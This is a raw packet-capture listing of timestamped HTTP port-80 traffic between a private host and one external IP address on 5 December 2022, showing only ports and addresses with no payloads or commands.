Dec 5, 2022 06:44:31.293984890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.293988943 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294004917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294027090 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294028997 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294049025 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294069052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294075012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294114113 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294233084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294255018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294275999 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294296980 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294302940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294317007 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294338942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294342995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294359922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294380903 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294380903 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294401884 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294421911 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294430017 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294442892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294464111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294469118 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294485092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294506073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294513941 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294526100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294547081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294554949 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294569969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294589996 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294589996 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294610977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294631004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294631958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294651985 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294672012 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294680119 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294702053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294718027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294724941 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294744968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294760942 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294765949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294787884 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294805050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294810057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294830084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294847965 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294850111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294871092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294900894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294914007 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294943094 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.294969082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.294972897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295005083 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295018911 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295032978 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295059919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295078993 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295121908 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295150042 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295171976 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295178890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295208931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295224905 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295238018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295268059 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295286894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295298100 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295325041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295352936 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295362949 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295382023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295408964 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295411110 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295437098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295459986 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295464993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295495033 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295512915 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295522928 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295552969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295571089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295576096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295598984 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295619965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295624018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295641899 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295664072 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295672894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295685053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295706034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295711994 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295727968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295747042 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295753956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295780897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295805931 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295819044 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295831919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295856953 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295859098 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295883894 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295902967 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295909882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295936108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295954943 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.295962095 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.295990944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296006918 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296016932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296044111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296066046 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296068907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296098948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296117067 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296127081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296190977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296217918 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296220064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296248913 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296266079 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296278954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296309948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296327114 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296341896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296372890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296386957 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296401978 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296431065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296447992 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296459913 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296489954 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296502113 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296519041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296547890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296557903 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296576977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296607018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296617985 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296634912 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296664000 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296678066 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296693087 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296720982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296734095 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296751022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296778917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296792030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296808004 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296838999 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296850920 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296866894 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296895981 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296910048 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296926022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296953917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.296967983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.296987057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297015905 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297029018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297045946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297077894 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297089100 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297110081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297142029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297152042 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297173977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297205925 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297216892 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297238111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297271013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297281027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297302008 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297334909 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297346115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297367096 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297399998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297408104 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297431946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297461987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297473907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297492027 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297519922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297533989 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297549009 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297580957 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297590971 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297610998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297641993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297672033 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297673941 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297707081 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297722101 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297738075 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297769070 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297784090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297801018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297832012 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297848940 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297862053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297894001 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297911882 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297924995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297956944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.297970057 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.297990084 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298022032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298037052 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298052073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298084021 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298099041 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298115015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298145056 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298161030 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298177004 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298207998 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298223019 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298242092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298266888 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298290968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298321962 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298336029 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298353910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298381090 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298382998 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298398018 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298407078 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298434019 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298448086 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298460960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298486948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298505068 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298523903 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298592091 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298597097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298624992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298656940 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298674107 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298686028 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298717976 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298738003 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298749924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298777103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298800945 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298804045 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298831940 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298851013 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298861027 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298904896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298918009 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298933029 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298960924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.298978090 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.298990965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299019098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299040079 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299046993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299076080 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299098969 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299103975 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299134016 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299158096 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299163103 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299191952 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299212933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299242973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299257040 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299293041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299294949 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299319983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299345970 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299349070 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299379110 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299398899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299405098 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299436092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299457073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299490929 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299503088 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299529076 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299535990 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299561977 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299581051 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299590111 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299628973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299631119 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299659014 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299685955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299707890 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299710989 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299736023 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299753904 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299762011 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299797058 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299808979 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.299819946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.299859047 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.306396008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323446989 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323482990 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323508024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323535919 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323558092 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323565006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323585033 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323610067 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323616028 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323652983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323654890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323679924 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323704004 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323704004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323726892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323753119 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323776960 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323802948 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323844910 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323870897 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323896885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323899984 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323899984 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323899984 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323920965 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.323920965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323947906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323973894 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.323997021 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324002028 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324026108 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324027061 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324049950 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324073076 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.324076891 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.324096918 CET	80	49703	66.235.200.147	192.168.2.3
